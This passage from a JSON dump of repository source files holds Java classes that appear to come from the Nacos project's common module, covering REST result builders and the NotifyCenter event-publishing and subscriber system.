setMessage(String message) {\n        this.message = message;\n    }\n    \n    public T getData() {\n        return data;\n    }\n    \n    public void setData(T data) {\n        this.data = data;\n    }\n    \n    public boolean ok() {\n        return this.code == 0 || this.code == 200;\n    }\n    \n    public boolean isNoRight() {\n        return this.code == 403 || this.code == 401;\n    }\n    \n    @Override\n    public String toString() {\n        return \"RestResult{\" + \"code=\" + code + \", message='\" + message + '\\'' + \", data=\" + data + '}';\n    }\n    \n    public static <T> ResResultBuilder<T> builder() {\n        return new ResResultBuilder<>();\n    }\n    \n    public static final class ResResultBuilder<T> {\n        \n        private int code;\n        \n        private String errMsg;\n        \n        private T data;\n        \n        private ResResultBuilder() {\n        }\n        \n        public ResResultBuilder<T> withCode(int code) {\n            this.code = code;\n            return this;\n        }\n        \n        public ResResultBuilder<T> withMsg(String errMsg) {\n            this.errMsg = errMsg;\n            return this;\n        }\n        \n        public ResResultBuilder<T> withData(T data) {\n            this.data = data;\n            return this;\n        }\n        \n        /**\n         * Build result.\n         *\n         * @return result\n         */\n        public RestResult<T> build() {\n            RestResult<T> restResult = new RestResult<>();\n            restResult.setCode(code);\n            restResult.setMessage(errMsg);\n            restResult.setData(data);\n            return restResult;\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/model/RestResultUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.model;\n\nimport com.alibaba.nacos.common.model.core.IResultCode;\n\n/**\n * Rest result utils.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class RestResultUtils {\n    \n    public static <T> RestResult<T> success() {\n        return RestResult.<T>builder().withCode(200).build();\n    }\n    \n    public static <T> RestResult<T> success(T data) {\n        return RestResult.<T>builder().withCode(200).withData(data).build();\n    }\n    \n    public static <T> RestResult<T> success(String msg, T data) {\n        return RestResult.<T>builder().withCode(200).withMsg(msg).withData(data).build();\n    }\n    \n    public static <T> RestResult<T> success(int code, T data) {\n        return RestResult.<T>builder().withCode(code).withData(data).build();\n    }\n    \n    public static <T> RestResult<T> failed() {\n        return RestResult.<T>builder().withCode(500).build();\n    }\n    \n    public static <T> RestResult<T> failed(String errMsg) {\n        return RestResult.<T>builder().withCode(500).withMsg(errMsg).build();\n    }\n    \n    public static <T> RestResult<T> failed(int code, T data) {\n        return RestResult.<T>builder().withCode(code).withData(data).build();\n    }\n    \n    public static <T> RestResult<T> failed(int code, T data, String errMsg) {\n        return RestResult.<T>builder().withCode(code).withData(data).withMsg(errMsg).build();\n    }\n    \n    public static <T> RestResult<T> failedWithMsg(int code, String errMsg) {\n        return RestResult.<T>builder().withCode(code).withMsg(errMsg).build();\n    }\n\n    public static <T> RestResult<T> buildResult(IResultCode resultCode, T data) {\n        return RestResult.<T>builder().withCode(resultCode.getCode()).withMsg(resultCode.getCodeMsg()).withData(data).build();\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/model/core/IResultCode.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.model.core;\n\n/**\n * IResultCode.\n *\n * @author klw\n * @ClassName: IResultCode\n * @Description: result code enum needs to be implemented this interface\n * @date 2019/6/28 14:44\n */\n@Deprecated\npublic interface IResultCode {\n    \n    /**\n     * Get the result code.\n     *\n     * @return code value.\n     */\n    int getCode();\n    \n    /**\n     * Get the result code's message.\n     *\n     * @return code's message.\n     */\n    String getCodeMsg();\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/notify/DefaultPublisher.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify;\n\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.ConcurrentHashSet;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.concurrent.ArrayBlockingQueue;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.atomic.AtomicReferenceFieldUpdater;\n\nimport static com.alibaba.nacos.common.notify.NotifyCenter.ringBufferSize;\n\n/**\n * The default event publisher implementation.\n *\n * <p>Internally, use {@link ArrayBlockingQueue <Event/>} as a message staging queue.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n * @author zongtanghu\n */\npublic class DefaultPublisher extends Thread implements EventPublisher {\n    \n    protected static final Logger LOGGER = LoggerFactory.getLogger(NotifyCenter.class);\n    \n    private volatile boolean initialized = false;\n    \n    private volatile boolean shutdown = false;\n    \n    private Class<? extends Event> eventType;\n    \n    protected final ConcurrentHashSet<Subscriber> subscribers = new ConcurrentHashSet<>();\n    \n    private int queueMaxSize = -1;\n    \n    private BlockingQueue<Event> queue;\n    \n    protected volatile Long lastEventSequence = -1L;\n    \n    private static final AtomicReferenceFieldUpdater<DefaultPublisher, Long> UPDATER = AtomicReferenceFieldUpdater\n            .newUpdater(DefaultPublisher.class, Long.class, \"lastEventSequence\");\n    \n    @Override\n    public void init(Class<? extends Event> type, int bufferSize) {\n        setDaemon(true);\n        setName(\"nacos.publisher-\" + type.getName());\n        this.eventType = type;\n        this.queueMaxSize = bufferSize;\n        if (this.queueMaxSize == -1) {\n            this.queueMaxSize = ringBufferSize;\n        }\n        this.queue = new ArrayBlockingQueue<>(this.queueMaxSize);\n        start();\n    }\n    \n    public ConcurrentHashSet<Subscriber> getSubscribers() {\n        return subscribers;\n    }\n    \n    @Override\n    public synchronized void start() {\n        if (!initialized) {\n            // start just called once\n            super.start();\n            initialized = true;\n        }\n    }\n    \n    @Override\n    public long currentEventSize() {\n        return queue.size();\n    }\n    \n    @Override\n    public void run() {\n        openEventHandler();\n    }\n    \n    void openEventHandler() {\n        try {\n            \n            // This variable is defined to resolve the problem which message overstock in the queue.\n            int waitTimes = 60;\n            // To ensure that messages are not lost, enable EventHandler when\n            // waiting for the first Subscriber to register\n            while (!shutdown && !hasSubscriber() && waitTimes > 0) {\n                ThreadUtils.sleep(1000L);\n                waitTimes--;\n            }\n\n            while (!shutdown) {\n                final Event event = queue.take();\n                receiveEvent(event);\n                UPDATER.compareAndSet(this, lastEventSequence, Math.max(lastEventSequence, event.sequence()));\n            }\n        } catch (InterruptedException e) {\n            // [issue #13752] ignore stack log\n        } catch (Throwable ex) {\n            LOGGER.error(\"Event listener exception : \", ex);\n        }\n    }\n    \n    private boolean hasSubscriber() {\n        return CollectionUtils.isNotEmpty(subscribers);\n    }\n    \n    @Override\n    public void addSubscriber(Subscriber subscriber) {\n        subscribers.add(subscriber);\n    }\n    \n    @Override\n    public void removeSubscriber(Subscriber subscriber) {\n        subscribers.remove(subscriber);\n    }\n    \n    @Override\n    public boolean publish(Event event) {\n        checkIsStart();\n        boolean success = this.queue.offer(event);\n        if (!success) {\n            LOGGER.warn(\"Unable to plug in due to interruption, synchronize sending time, event : {}\", event);\n            receiveEvent(event);\n            return true;\n        }\n        return true;\n    }\n    \n    void checkIsStart() {\n        if (!initialized) {\n            throw new IllegalStateException(\"Publisher does not start\");\n        }\n    }\n    \n    @Override\n    public void shutdown() {\n        this.shutdown = true;\n        this.queue.clear();\n        // Interrupt the thread to stop processing events: queue.take().\n        this.interrupt();\n    }\n    \n    public boolean isInitialized() {\n        return initialized;\n    }\n    \n    /**\n     * Receive and notifySubscriber to process the event.\n     *\n     * @param event {@link Event}.\n     */\n    void receiveEvent(Event event) {\n        final long currentEventSequence = event.sequence();\n        \n        if (!hasSubscriber()) {\n            LOGGER.warn(\"[NotifyCenter] the {} is lost, because there is no subscriber.\", event);\n            return;\n        }\n        \n        // Notification single event listener\n        for (Subscriber subscriber : subscribers) {\n            if (!subscriber.scopeMatches(event)) {\n                continue;\n            }\n            \n            // Whether to ignore expiration events\n            if (subscriber.ignoreExpireEvent() && lastEventSequence > currentEventSequence) {\n                LOGGER.debug(\"[NotifyCenter] the {} is unacceptable to this subscriber, because had expire\",\n                        event.getClass());\n                continue;\n            }\n            \n            // Because unifying smartSubscriber and subscriber, so here need to think of compatibility.\n            // Remove original judge part of codes.\n            notifySubscriber(subscriber, event);\n        }\n    }\n    \n    @Override\n    public void notifySubscriber(final Subscriber subscriber, final Event event) {\n        \n        LOGGER.debug(\"[NotifyCenter] the {} will received by {}\", event, subscriber);\n        \n        final Runnable job = () -> subscriber.onEvent(event);\n        final Executor executor = subscriber.executor();\n        \n        if (executor != null) {\n            executor.execute(job);\n        } else {\n            try {\n                job.run();\n            } catch (Throwable e) {\n                LOGGER.error(\"Event callback exception: \", e);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/notify/DefaultSharePublisher.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify;\n\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.utils.ConcurrentHashSet;\n\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\n/**\n * The default share event publisher implementation for slow event.\n *\n * @author zongtanghu\n */\npublic class DefaultSharePublisher extends DefaultPublisher implements ShardedEventPublisher {\n    \n    private final Map<Class<? extends SlowEvent>, Set<Subscriber>> subMappings = new ConcurrentHashMap<>();\n    \n    private final Lock lock = new ReentrantLock();\n    \n    @Override\n    public void addSubscriber(Subscriber subscriber, Class<? extends Event> subscribeType) {\n        // Actually, do a classification based on the slowEvent type.\n        Class<? extends SlowEvent> subSlowEventType = (Class<? extends SlowEvent>) subscribeType;\n        // For stop waiting subscriber, see {@link DefaultPublisher#openEventHandler}.\n        subscribers.add(subscriber);\n        \n        lock.lock();\n        try {\n            Set<Subscriber> sets = subMappings.get(subSlowEventType);\n            if (sets == null) {\n                Set<Subscriber> newSet = new ConcurrentHashSet<>();\n                newSet.add(subscriber);\n                subMappings.put(subSlowEventType, newSet);\n                return;\n            }\n            sets.add(subscriber);\n        } finally {\n            lock.unlock();\n        }\n    }\n    \n    @Override\n    public void removeSubscriber(Subscriber subscriber, Class<? extends Event> subscribeType) {\n        // Actually, do a classification based on the slowEvent type.\n        Class<? extends SlowEvent> subSlowEventType = (Class<? extends SlowEvent>) subscribeType;\n        // For removing to parent class attributes synchronization.\n        subscribers.remove(subscriber);\n        \n        lock.lock();\n        try {\n            Set<Subscriber> sets = subMappings.get(subSlowEventType);\n            \n            if (sets != null) {\n                sets.remove(subscriber);\n            }\n        } finally {\n            lock.unlock();\n        }\n    }\n    \n    @Override\n    public void receiveEvent(Event event) {\n        \n        final long currentEventSequence = event.sequence();\n        // get subscriber set based on the slow EventType.\n        final Class<? extends SlowEvent> slowEventType = (Class<? extends SlowEvent>) event.getClass();\n        \n        // Get for Map, the algorithm is O(1).\n        Set<Subscriber> subscribers = subMappings.get(slowEventType);\n        if (null == subscribers) {\n            LOGGER.debug(\"[NotifyCenter] No subscribers for slow event {}\", slowEventType.getName());\n            return;\n        }\n        \n        // Notification single event subscriber\n        for (Subscriber subscriber : subscribers) {\n            // Whether to ignore expiration events\n            if (subscriber.ignoreExpireEvent() && lastEventSequence > currentEventSequence) {\n                LOGGER.debug(\"[NotifyCenter] the {} is unacceptable to this subscriber, because had expire\",\n                        event.getClass());\n                continue;\n            }\n            \n            // Notify single subscriber for slow event.\n            notifySubscriber(subscriber, event);\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/notify/Event.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify;\n\nimport java.io.Serializable;\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * An abstract class for event.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n * @author zongtanghu\n */\npublic abstract class Event implements Serializable {\n    \n    private static final long serialVersionUID = -3731383194964997493L;\n    \n    private static final AtomicLong SEQUENCE = new AtomicLong(0);\n    \n    private final long sequence = SEQUENCE.getAndIncrement();\n    \n    /**\n     * Event sequence number, which can be used to handle the sequence of events.\n     *\n     * @return sequence num, It's best to make sure it's monotone.\n     */\n    public long sequence() {\n        return sequence;\n    }\n    \n    /**\n     * Event scope.\n     *\n     * @return event scope, return null if for all scope\n     */\n    public String scope() {\n        return null;\n    }\n    \n    /**\n     * Whether is plugin event. If so, the event can be dropped when no publish and subscriber without any hint. Default\n     * false\n     *\n     * @return {@code true} if is plugin event, otherwise {@code false}\n     */\n    public boolean isPluginEvent() {\n        return false;\n    }\n}\n\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/notify/EventPublisher.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify;\n\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\n\n/**\n * Event publisher.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n * @author zongtanghu\n */\npublic interface EventPublisher extends Closeable {\n    \n    /**\n     * Initializes the event publisher.\n     *\n     * @param type       {@link Event >}\n     * @param bufferSize Message staging queue size\n     */\n    void init(Class<? extends Event> type, int bufferSize);\n    \n    /**\n     * The number of currently staged events.\n     *\n     * @return event size\n     */\n    long currentEventSize();\n    \n    /**\n     * Add listener.\n     *\n     * @param subscriber {@link Subscriber}\n     */\n    void addSubscriber(Subscriber subscriber);\n    \n    /**\n     * Remove listener.\n     *\n     * @param subscriber {@link Subscriber}\n     */\n    void removeSubscriber(Subscriber subscriber);\n    \n    /**\n     * publish event.\n     *\n     * @param event {@link Event}\n     * @return publish event is success\n     */\n    boolean publish(Event event);\n    \n    /**\n     * Notify listener.\n     *\n     * @param subscriber {@link Subscriber}\n     * @param event      {@link Event}\n     */\n    void notifySubscriber(Subscriber subscriber, Event event);\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/notify/EventPublisherFactory.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify;\n\nimport java.util.function.BiFunction;\n\n/**\n * Event publisher factory.\n *\n * @author xiweng.yy\n */\npublic interface EventPublisherFactory extends BiFunction<Class<? extends Event>, Integer, EventPublisher> {\n    \n    /**\n     * Build an new {@link EventPublisher}.\n     *\n     * @param eventType    eventType for {@link EventPublisher}\n     * @param maxQueueSize max queue size for {@link EventPublisher}\n     * @return new {@link EventPublisher}\n     */\n    @Override\n    EventPublisher apply(Class<? extends Event> eventType, Integer maxQueueSize);\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/notify/NotifyCenter.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.common.JustForTest;\nimport com.alibaba.nacos.common.notify.listener.SmartSubscriber;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.common.utils.ClassUtils;\nimport com.alibaba.nacos.common.utils.MapUtil;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Collection;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.NoSuchElementException;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static com.alibaba.nacos.api.exception.NacosException.SERVER_ERROR;\n\n/**\n * Unified Event Notify Center.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n * @author zongtanghu\n */\npublic class NotifyCenter {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(NotifyCenter.class);\n    \n    public static int ringBufferSize;\n    \n    public static int shareBufferSize;\n    \n    private static final AtomicBoolean CLOSED = new AtomicBoolean(false);\n    \n    private static final EventPublisherFactory DEFAULT_PUBLISHER_FACTORY;\n\n    @SuppressWarnings(\"checkstyle:StaticVariableName\")\n    private static NotifyCenter INSTANCE = new NotifyCenter();\n    \n    private DefaultSharePublisher sharePublisher;\n    \n    private static Class<? extends EventPublisher> clazz;\n    \n    /**\n     * Publisher management container.\n     */\n    private final Map<String, EventPublisher> publisherMap = new ConcurrentHashMap<>(16);\n    \n    static {\n        // Internal ArrayBlockingQueue buffer size. For applications with high write throughput,\n        // this value needs to be increased appropriately. default value is 16384\n        String ringBufferSizeProperty = \"nacos.core.notify.ring-buffer-size\";\n        ringBufferSize = Integer.getInteger(ringBufferSizeProperty, 16384);\n        \n        // The size of the public publisher's message staging queue buffer\n        String shareBufferSizeProperty = \"nacos.core.notify.share-buffer-size\";\n        shareBufferSize = Integer.getInteger(shareBufferSizeProperty, 1024);\n        \n        final Collection<EventPublisher> publishers = NacosServiceLoader.load(EventPublisher.class);\n        Iterator<EventPublisher> iterator = publishers.iterator();\n        \n        if (iterator.hasNext()) {\n            clazz = iterator.next().getClass();\n        } else {\n            clazz = DefaultPublisher.class;\n        }\n        \n        DEFAULT_PUBLISHER_FACTORY = (cls, buffer) -> {\n            try {\n                EventPublisher publisher = clazz.newInstance();\n                publisher.init(cls, buffer);\n                return publisher;\n            } catch (Throwable ex) {\n                LOGGER.error(\"Service class newInstance has error : \", ex);\n                throw new NacosRuntimeException(SERVER_ERROR, ex);\n            }\n        };\n        \n        try {\n            \n            // Create and init DefaultSharePublisher instance.\n            INSTANCE.sharePublisher = new DefaultSharePublisher();\n            INSTANCE.sharePublisher.init(SlowEvent.class, shareBufferSize);\n            \n        } catch (Throwable ex) {\n            LOGGER.error(\"Service class newInstance has error : \", ex);\n        }\n        \n        ThreadUtils.addShutdownHook(NotifyCenter::shutdown);\n    }\n    \n    @JustForTest\n    public static Map<String, EventPublisher> getPublisherMap() {\n        return INSTANCE.publisherMap;\n    }\n    \n    public static EventPublisher getPublisher(Class<? extends Event> topic) {\n        if (ClassUtils.isAssignableFrom(SlowEvent.class, topic)) {\n            return INSTANCE.sharePublisher;\n        }\n        return INSTANCE.publisherMap.get(topic.getCanonicalName());\n    }\n    \n    public static EventPublisher getSharePublisher() {\n        return INSTANCE.sharePublisher;\n    }\n    \n    /**\n     * Shutdown the several publisher instance which notify center has.\n     */\n    public static void shutdown() {\n        if (!CLOSED.compareAndSet(false, true)) {\n            return;\n        }\n        LOGGER.info(\"[NotifyCenter] Start destroying Publisher\");\n        \n        for (Map.Entry<String, EventPublisher> entry : INSTANCE.publisherMap.entrySet()) {\n            try {\n                EventPublisher eventPublisher = entry.getValue();\n                eventPublisher.shutdown();\n            } catch (Throwable e) {\n                LOGGER.error(\"[EventPublisher] shutdown has error : \", e);\n            }\n        }\n        \n        try {\n            INSTANCE.sharePublisher.shutdown();\n        } catch (Throwable e) {\n            LOGGER.error(\"[SharePublisher] shutdown has error : \", e);\n        }\n        \n        LOGGER.info(\"[NotifyCenter] Completed destruction of Publisher\");\n    }\n    \n    /**\n     * Register a Subscriber. If the Publisher concerned by the Subscriber does not exist, then PublisherMap will\n     * preempt a placeholder Publisher with default EventPublisherFactory first.\n     *\n     * @param consumer subscriber\n     */\n    public static void registerSubscriber(final Subscriber consumer) {\n        registerSubscriber(consumer, DEFAULT_PUBLISHER_FACTORY);\n    }\n    \n    /**\n     * Register a Subscriber. If the Publisher concerned by the Subscriber does not exist, then PublisherMap will\n     * preempt a placeholder Publisher with specified EventPublisherFactory first.\n     *\n     * @param consumer subscriber\n     * @param factory  publisher factory.\n     */\n    public static void registerSubscriber(final Subscriber consumer, final EventPublisherFactory factory) {\n        // If you want to listen to multiple events, you do it separately,\n        // based on subclass's subscribeTypes method return list, it can register to publisher.\n        if (consumer instanceof SmartSubscriber) {\n            for (Class<? extends Event> subscribeType : ((SmartSubscriber) consumer).subscribeTypes()) {\n                // For case, producer: defaultSharePublisher -> consumer: smartSubscriber.\n                if (ClassUtils.isAssignableFrom(SlowEvent.class, subscribeType)) {\n                    INSTANCE.sharePublisher.addSubscriber(consumer, subscribeType);\n                } else {\n                    // For case, producer: defaultPublisher -> consumer: subscriber.\n                    addSubscriber(consumer, subscribeType, factory);\n                }\n            }\n            return;\n        }\n        \n        final Class<? extends Event> subscribeType = consumer.subscribeType();\n        if (ClassUtils.isAssignableFrom(SlowEvent.class, subscribeType)) {\n            INSTANCE.sharePublisher.addSubscriber(consumer, subscribeType);\n            return;\n        }\n        \n        addSubscriber(consumer, subscribeType, factory);\n    }\n    \n    /**\n     * Add a subscriber to publisher.\n     *\n     * @param consumer      subscriber instance.\n     * @param subscribeType subscribeType.\n     * @param factory       publisher factory.\n     */\n    private static void addSubscriber(final Subscriber consumer, Class<? extends Event> subscribeType,\n            EventPublisherFactory factory) {\n        \n        final String topic = ClassUtils.getCanonicalName(subscribeType);\n        synchronized (NotifyCenter.class) {\n            // MapUtils.computeIfAbsent is a unsafe method.\n            MapUtil.computeIfAbsent(INSTANCE.publisherMap, topic, factory, subscribeType, ringBufferSize);\n        }\n        EventPublisher publisher = INSTANCE.publisherMap.get(topic);\n        if (publisher instanceof ShardedEventPublisher) {\n            ((ShardedEventPublisher) publisher).addSubscriber(consumer, subscribeType);\n        } else {\n            publisher.addSubscriber(consumer);\n        }\n    }\n    \n    /**\n     * Deregister subscriber.\n     *\n     * @param consumer subscriber instance.\n     */\n    public static void deregisterSubscriber(final Subscriber consumer) {\n        if (consumer instanceof SmartSubscriber) {\n            for (Class<? extends Event> subscribeType : ((SmartSubscriber) consumer).subscribeTypes()) {\n                if (ClassUtils.isAssignableFrom(SlowEvent.class, subscribeType)) {\n                    INSTANCE.sharePublisher.removeSubscriber(consumer, subscribeType);\n                } else {\n                    removeSubscriber(consumer, subscribeType);\n                }\n            }\n            return;\n        }\n        \n        final Class<? extends Event> subscribeType = consumer.subscribeType();\n        if (ClassUtils.isAssignableFrom(SlowEvent.class, subscribeType)) {\n            INSTANCE.sharePublisher.removeSubscriber(consumer, subscribeType);\n            return;\n        }\n        \n        if (removeSubscriber(consumer, subscribeType)) {\n            return;\n        }\n        throw new NoSuchElementException(\"The subscriber has no event publisher\");\n    }\n    \n    /**\n     * Remove subscriber.\n     *\n     * @param consumer      subscriber instance.\n     * @param subscribeType subscribeType.\n     * @return whether remove subscriber successfully or not.\n     */\n    private static boolean removeSubscriber(final Subscriber consumer, Class<? extends Event> subscribeType) {\n        \n        final String topic = ClassUtils.getCanonicalName(subscribeType);\n        EventPublisher eventPublisher = INSTANCE.publisherMap.get(topic);\n        if (null == eventPublisher) {\n            return false;\n        }\n        if (eventPublisher instanceof ShardedEventPublisher) {\n            ((ShardedEventPublisher) eventPublisher).removeSubscriber(consumer, subscribeType);\n        } else {\n            eventPublisher.removeSubscriber(consumer);\n        }\n        return true;\n    }\n    \n    /**\n     * Request publisher publish event Publishers load lazily, calling publisher. Start () only when the event is\n     * actually published.\n     *\n     * @param event class Instances of the event.\n     */\n    public static boolean publishEvent(final Event event) {\n        try {\n            return publishEvent(event.getClass(), event);\n        } catch (Throwable ex) {\n            LOGGER.error(\"There was an exception to the message publishing : \", ex);\n            return false;\n        }\n    }\n    \n    /**\n     * Request publisher publish event Publishers load lazily, calling publisher.\n     *\n     * @param eventType class Instances type of the event type.\n     * @param event     event instance.\n     */\n    private static boolean publishEvent(final Class<? extends Event> eventType, final Event event) {\n        if (ClassUtils.isAssignableFrom(SlowEvent.class, eventType)) {\n            return INSTANCE.sharePublisher.publish(event);\n        }\n        \n        final String topic = ClassUtils.getCanonicalName(eventType);\n        \n        EventPublisher publisher = INSTANCE.publisherMap.get(topic);\n        if (publisher != null) {\n            return publisher.publish(event);\n        }\n        if (event.isPluginEvent()) {\n            return true;\n        }\n        LOGGER.warn(\"There are no [{}] publishers for this event, please register\", topic);\n        return false;\n    }\n    \n    /**\n     * Register to share-publisher.\n     *\n     * @param eventType class Instances type of the event type.\n     * @return share publisher instance.\n     */\n    public static EventPublisher registerToSharePublisher(final Class<? extends SlowEvent> eventType) {\n        return INSTANCE.sharePublisher;\n    }\n    \n    /**\n     * Register publisher with default factory.\n     *\n     * @param eventType    class Instances type of the event type.\n     * @param queueMaxSize the publisher's queue max size.\n     */\n    public static EventPublisher registerToPublisher(final Class<? extends Event> eventType, final int queueMaxSize) {\n        return registerToPublisher(eventType, DEFAULT_PUBLISHER_FACTORY, queueMaxSize);\n    }\n    \n    /**\n     * Register publisher with specified factory.\n     *\n     * @param eventType    class Instances type of the event type.\n     * @param factory      publisher factory.\n     * @param queueMaxSize the publisher's queue max size.\n     */\n    public static EventPublisher registerToPublisher(final Class<? extends Event> eventType,\n            final EventPublisherFactory factory, final int queueMaxSize) {\n        if (ClassUtils.isAssignableFrom(SlowEvent.class, eventType)) {\n            return INSTANCE.sharePublisher;\n        }\n        \n        final String topic = ClassUtils.getCanonicalName(eventType);\n        synchronized (NotifyCenter.class) {\n            // MapUtils.computeIfAbsent is a unsafe method.\n            MapUtil.computeIfAbsent(INSTANCE.publisherMap, topic, factory, eventType, queueMaxSize);\n        }\n        return INSTANCE.publisherMap.get(topic);\n    }\n    \n    /**\n     * Register publisher.\n     *\n     * @param eventType class Instances type of the event type.\n     * @param publisher the specified event publisher\n     */\n    public static void registerToPublisher(final Class<? extends Event> eventType, final EventPublisher publisher) {\n        if (null == publisher) {\n            return;\n        }\n        final String topic = ClassUtils.getCanonicalName(eventType);\n        synchronized (NotifyCenter.class) {\n            INSTANCE.publisherMap.putIfAbsent(topic, publisher);\n        }\n    }\n    \n    /**\n     * Deregister publisher.\n     *\n     * @param eventType class Instances type of the event type.\n     */\n    public static void deregisterPublisher(final Class<? extends Event> eventType) {\n        final String topic = ClassUtils.getCanonicalName(eventType);\n        EventPublisher publisher = INSTANCE.publisherMap.remove(topic);\n        try {\n            publisher.shutdown();\n        } catch (Throwable ex) {\n            LOGGER.error(\"There was an exception when publisher shutdown : \", ex);\n        }\n    }\n    \n}\n"
  },
  {
